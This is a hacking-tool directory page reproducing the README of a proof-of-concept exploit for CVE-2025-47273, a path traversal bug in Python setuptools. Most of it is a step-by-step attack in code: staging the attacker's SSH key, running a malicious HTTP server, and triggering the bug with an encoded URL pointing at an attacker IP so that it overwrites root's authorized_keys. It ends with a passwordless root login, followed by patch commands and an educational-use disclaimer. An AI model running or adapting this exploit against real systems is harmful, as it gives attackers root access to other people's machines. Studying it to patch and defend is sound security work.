Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-47273-POC — CVE-2025-47273 — setuptools path traversal PoC | Kitploit
Tools/GitHubGitHub/alielkhatteb/cve-2025-47273-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingSupply Chain SecurityLearning & Education
GitHubalielkhatteb/cve-2025-47273-poc

CVE-2025-47273-POC

CVE-2025-47273 — setuptools path traversal PoC

View Repository
115 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

setuptools Path Traversal CVE-2025-47273

📖 Overview

Proof-of-concept exploit for a path traversal vulnerability in Python setuptools < 78.1.1.

By abusing the PackageIndex component's _download_url function, an attacker can write arbitrary files to any location on the filesystem — with the privileges of the process running setuptools.


🎯 Vulnerability Summary

FieldDetail
🎯 TargetPython setuptools < 78.1.1
🐛 Bug ClassPath Traversal (CWE-22)
💥 ImpactArbitrary file write
📍 Attack VectorMalicious package index URL
🔍 Root Causeos.path.join() discards tmpdir when second argument starts with /

📋 Prerequisites

  • Python 3 on both machines
  • SSH key pair already generated on attacker (~/.ssh/id_rsa + id_rsa.pub)
  • Target script calls setuptools PackageIndex with a user-controlled URL

🚀 Usage

🔧 Step 1 — Prepare your SSH public key (Attacker Machine)

root@kitploit:~
# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys

📡 Step 2 — Start the malicious HTTP server (Attacker Machine)

This server responds to any GET request with your public key — regardless of the path. setuptools will request the path /USER/.ssh/authorized_keys but receive your key content.

root@kitploit:~
cat > python_server.py << 'EOF'
import http.server
import socketserver

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Serve authorized_keys regardless of path requested
        self.send_response(200)
        self.end_headers()
        with open("authorized_keys", "rb") as f:
            self.wfile.write(f.read())

with socketserver.TCPServer(("", 80), Handler) as httpd:
    httpd.serve_forever()
EOF

python3 python_server.py

💥 Step 3 — Trigger the path traversal (Victim Machine)

root@kitploit:~
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"

sudo python3 /path/to/vulnerable_script.py \
  "http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"

👾 Step 4 — Login as root (Attacker Machine)

root@kitploit:~
ssh root@VICTIM_IP

No password. Direct root shell. 🔑


🔒 Patch

Version 78.1.1 fixes the issue.

Package ManagerCommand
🐍 pippip install --upgrade setuptools
🐧 Debian/Ubuntusudo apt upgrade python3-setuptools
🎩 RHEL/Fedorasudo dnf upgrade python3-setuptools
🏗️ Manualsetuptools releases

📎 References

  • 🔗 NVD — CVE-2025-47273

  • 🔗 GitHub Advisory — GHSA-5rjg-fvgr-3xxf

  • 🔗 setuptools Fix Commit

  • 🔗 setuptools poc


⚖️ Disclaimer and Terms

This Proof of Concept (PoC) code is provided for educational and authorized penetration testing purposes only.

  • No permission is granted to modify, redistribute, or use this code for any other purposes.
  • Unauthorized use or modification may be illegal and unethical.
  • The authors take no responsibility for any misuse or damages.
Download Tool